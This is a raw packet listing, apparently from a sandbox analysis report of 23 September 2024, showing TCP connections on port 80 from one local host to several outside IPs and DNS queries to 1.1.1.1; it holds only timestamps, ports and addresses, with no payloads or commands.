Sep 23, 2024 14:39:13.531982899 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:13.532172918 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:13.543255091 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:13.548130035 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931289911 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931310892 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931318998 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931333065 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931401968 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:14.931430101 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:14.931551933 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931598902 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:14.931922913 CEST	80	49737	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:14.931977987 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:15.045388937 CEST	49737	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:16.064512014 CEST	49738	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:16.069436073 CEST	80	49738	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:16.069643974 CEST	49738	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:16.081939936 CEST	49738	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:16.087724924 CEST	80	49738	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:16.524482012 CEST	80	49738	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:16.524501085 CEST	80	49738	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:16.524524927 CEST	80	49738	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:16.524563074 CEST	49738	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:16.524602890 CEST	49738	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:17.592272043 CEST	49738	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:18.611244917 CEST	49739	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:18.616244078 CEST	80	49739	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:18.616364956 CEST	49739	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:18.629132032 CEST	49739	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:18.634094000 CEST	80	49739	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:18.634135008 CEST	80	49739	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:19.083872080 CEST	80	49739	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:19.083887100 CEST	80	49739	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:19.083897114 CEST	80	49739	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:19.088135004 CEST	49739	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:20.138998985 CEST	49739	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:21.158241034 CEST	49740	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:21.163233042 CEST	80	49740	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:21.163340092 CEST	49740	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:21.172652960 CEST	49740	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:21.177500963 CEST	80	49740	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:21.619105101 CEST	80	49740	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:21.619121075 CEST	80	49740	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:21.619137049 CEST	80	49740	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:21.619286060 CEST	49740	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:21.621992111 CEST	49740	80	192.168.2.7	199.59.243.227
Sep 23, 2024 14:39:21.626934052 CEST	80	49740	199.59.243.227	192.168.2.7
Sep 23, 2024 14:39:26.680619955 CEST	49741	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:26.685534954 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:26.685614109 CEST	49741	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:26.701318979 CEST	49741	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:26.706113100 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378319025 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378333092 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378353119 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378359079 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378366947 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378374100 CEST	80	49741	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:27.378470898 CEST	49741	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:27.378470898 CEST	49741	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:28.217263937 CEST	49741	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:29.235876083 CEST	49742	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:29.240967035 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.241121054 CEST	49742	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:29.251688004 CEST	49742	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:29.256486893 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906673908 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906691074 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906694889 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906776905 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906783104 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906790972 CEST	80	49742	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:29.906817913 CEST	49742	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:29.906860113 CEST	49742	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:30.765649080 CEST	49742	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:31.783899069 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:31.788954973 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:31.789422989 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:31.799983025 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:31.804809093 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:31.804985046 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458868027 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458894968 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458914042 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458934069 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458947897 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458952904 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458952904 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:32.458962917 CEST	80	49743	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:32.458987951 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:32.459009886 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:33.311105967 CEST	49743	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:34.385787964 CEST	49744	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:34.390614986 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:34.390700102 CEST	49744	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:34.409079075 CEST	49744	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:34.413933992 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074392080 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074445009 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074450016 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074466944 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074480057 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074487925 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074590921 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:35.074652910 CEST	49744	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:35.074755907 CEST	49744	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:35.081902027 CEST	49744	80	192.168.2.7	62.149.128.40
Sep 23, 2024 14:39:35.086786985 CEST	80	49744	62.149.128.40	192.168.2.7
Sep 23, 2024 14:39:40.125778913 CEST	49745	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:40.130733013 CEST	80	49745	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:40.130897999 CEST	49745	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:40.142749071 CEST	49745	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:40.147638083 CEST	80	49745	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:40.589591026 CEST	80	49745	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:40.589679956 CEST	49745	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:41.654860973 CEST	49745	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:41.663131952 CEST	80	49745	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:42.674371958 CEST	49746	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:42.679447889 CEST	80	49746	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:42.679861069 CEST	49746	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:42.692054987 CEST	49746	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:42.697058916 CEST	80	49746	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:44.067357063 CEST	80	49746	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:44.067449093 CEST	49746	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:44.201806068 CEST	49746	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:44.206760883 CEST	80	49746	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:45.220313072 CEST	49747	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:45.372716904 CEST	80	49747	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:45.372822046 CEST	49747	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:45.384926081 CEST	49747	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:45.389897108 CEST	80	49747	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:45.389918089 CEST	80	49747	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:45.831553936 CEST	80	49747	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:45.831764936 CEST	49747	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:46.889136076 CEST	49747	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:46.894015074 CEST	80	49747	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:47.907819986 CEST	49748	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:47.912838936 CEST	80	49748	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:47.912944078 CEST	49748	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:47.920305014 CEST	49748	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:47.925497055 CEST	80	49748	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:48.399159908 CEST	80	49748	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:48.399630070 CEST	80	49748	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:48.399720907 CEST	49748	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:48.402354002 CEST	49748	80	192.168.2.7	3.33.130.190
Sep 23, 2024 14:39:48.407171011 CEST	80	49748	3.33.130.190	192.168.2.7
Sep 23, 2024 14:39:53.613986015 CEST	49749	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:53.620418072 CEST	80	49749	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:53.620516062 CEST	49749	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:53.632194996 CEST	49749	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:53.640494108 CEST	80	49749	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:54.540385962 CEST	80	49749	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:54.540416956 CEST	80	49749	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:54.540489912 CEST	49749	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:55.180705070 CEST	49749	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:56.189371109 CEST	49750	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:56.194382906 CEST	80	49750	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:56.194510937 CEST	49750	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:56.205401897 CEST	49750	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:56.210319042 CEST	80	49750	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:57.104795933 CEST	80	49750	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:57.105128050 CEST	80	49750	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:57.105226994 CEST	49750	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:57.717226028 CEST	49750	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:58.742337942 CEST	49751	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:58.789333105 CEST	80	49751	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:58.789469957 CEST	49751	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:58.801799059 CEST	49751	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:39:58.806682110 CEST	80	49751	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:58.806818962 CEST	80	49751	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:59.933331966 CEST	80	49751	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:59.933357954 CEST	80	49751	154.198.53.36	192.168.2.7
Sep 23, 2024 14:39:59.935924053 CEST	49751	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:00.311264992 CEST	49751	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:01.329533100 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:01.334459066 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:01.334902048 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:01.342526913 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:01.347518921 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265130997 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265156031 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265162945 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265245914 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:02.265726089 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265733957 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265742064 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265758991 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265764952 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265772104 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265774965 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:02.265872002 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:02.265909910 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:02.270428896 CEST	49752	80	192.168.2.7	154.198.53.36
Sep 23, 2024 14:40:02.275583029 CEST	80	49752	154.198.53.36	192.168.2.7
Sep 23, 2024 14:40:07.479880095 CEST	49753	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:07.484860897 CEST	80	49753	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:07.484961987 CEST	49753	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:07.496037960 CEST	49753	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:07.500988960 CEST	80	49753	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:08.418097019 CEST	80	49753	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:08.418113947 CEST	80	49753	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:08.418180943 CEST	49753	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:08.418184042 CEST	80	49753	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:08.418236017 CEST	49753	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:08.998541117 CEST	49753	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:10.017936945 CEST	49754	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:10.022933006 CEST	80	49754	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:10.023081064 CEST	49754	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:10.033812046 CEST	49754	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:10.038752079 CEST	80	49754	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:11.121341944 CEST	80	49754	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:11.121361971 CEST	80	49754	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:11.121372938 CEST	80	49754	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:11.121376991 CEST	80	49754	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:11.121459961 CEST	49754	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:11.121522903 CEST	49754	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:11.546557903 CEST	49754	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:12.564524889 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:12.569770098 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:12.570055008 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:12.581899881 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:12.586868048 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:12.587095022 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.093213081 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.269282103 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.269383907 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.269391060 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.269395113 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.269426107 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.269426107 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.269474983 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.269474983 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.269721031 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.269768953 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.269926071 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.269993067 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:14.272682905 CEST	80	49755	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:14.272823095 CEST	49755	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:15.111263990 CEST	49756	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:15.390953064 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:15.391079903 CEST	49756	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:15.398166895 CEST	49756	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:15.403029919 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.345779896 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.345798016 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.345805883 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.346045017 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.346060038 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.346067905 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:16.346281052 CEST	49756	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:16.371803045 CEST	49756	80	192.168.2.7	154.38.114.205
Sep 23, 2024 14:40:16.376733065 CEST	80	49756	154.38.114.205	192.168.2.7
Sep 23, 2024 14:40:21.459896088 CEST	49757	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:21.465099096 CEST	80	49757	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:21.465197086 CEST	49757	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:21.475891113 CEST	49757	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:21.481765032 CEST	80	49757	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:21.927069902 CEST	80	49757	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:21.927956104 CEST	49757	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:22.982953072 CEST	49757	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:22.988028049 CEST	80	49757	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:24.003887892 CEST	49758	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:24.009859085 CEST	80	49758	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:24.010153055 CEST	49758	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:24.023880005 CEST	49758	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:24.029006004 CEST	80	49758	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:24.493046999 CEST	80	49758	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:24.493136883 CEST	49758	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:25.531883001 CEST	49758	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:25.537064075 CEST	80	49758	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:26.548554897 CEST	49759	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:26.555795908 CEST	80	49759	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:26.555990934 CEST	49759	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:26.567243099 CEST	49759	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:26.572760105 CEST	80	49759	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:26.572784901 CEST	80	49759	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:27.052658081 CEST	80	49759	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:27.052809000 CEST	49759	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:29.436116934 CEST	49759	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:29.441133022 CEST	80	49759	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.454631090 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.460055113 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.460206032 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.467418909 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.474450111 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.936996937 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937010050 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937016964 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937074900 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937082052 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937088013 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937100887 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937108040 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937112093 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.937201977 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.937263966 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.937304974 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937310934 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937319040 CEST	80	49760	84.32.84.32	192.168.2.7
Sep 23, 2024 14:40:30.937401056 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.941978931 CEST	49760	80	192.168.2.7	84.32.84.32
Sep 23, 2024 14:40:30.946866989 CEST	80	49760	84.32.84.32	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 23, 2024 14:36:56.641244888 CEST	60080	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:36:56.728621006 CEST	53	60080	1.1.1.1	192.168.2.7
Sep 23, 2024 14:37:12.470391989 CEST	64731	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:37:12.918181896 CEST	53	64731	1.1.1.1	192.168.2.7
Sep 23, 2024 14:37:26.783338070 CEST	62876	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:37:27.218805075 CEST	53	62876	1.1.1.1	192.168.2.7
Sep 23, 2024 14:37:41.689815044 CEST	50513	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:37:41.703398943 CEST	53	50513	1.1.1.1	192.168.2.7
Sep 23, 2024 14:37:56.104762077 CEST	63345	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:37:56.166085005 CEST	53	63345	1.1.1.1	192.168.2.7
Sep 23, 2024 14:38:09.675859928 CEST	58968	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:38:09.966543913 CEST	53	58968	1.1.1.1	192.168.2.7
Sep 23, 2024 14:38:23.298850060 CEST	50678	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:38:23.756104946 CEST	53	50678	1.1.1.1	192.168.2.7
Sep 23, 2024 14:38:37.705790997 CEST	62735	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:38:37.821614027 CEST	53	62735	1.1.1.1	192.168.2.7
Sep 23, 2024 14:38:51.738074064 CEST	52165	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:38:51.916425943 CEST	53	52165	1.1.1.1	192.168.2.7
Sep 23, 2024 14:39:05.376945972 CEST	56943	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:39:05.393835068 CEST	53	56943	1.1.1.1	192.168.2.7
Sep 23, 2024 14:39:13.455873966 CEST	51579	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:39:13.524205923 CEST	53	51579	1.1.1.1	192.168.2.7
Sep 23, 2024 14:39:26.627523899 CEST	57417	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:39:26.677639008 CEST	53	57417	1.1.1.1	192.168.2.7
Sep 23, 2024 14:39:40.096287012 CEST	51559	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:39:40.122814894 CEST	53	51559	1.1.1.1	192.168.2.7
Sep 23, 2024 14:39:53.408479929 CEST	57421	53	192.168.2.7	1.1.1.1
Sep 23, 2024 14:39:53.610970974 CEST	53	57421	1.1.1.1	192.168.2.7
Sep 23, 2024 14:40:07.284688950 CEST	57856	53	192.168.2.7	1.1.1.1
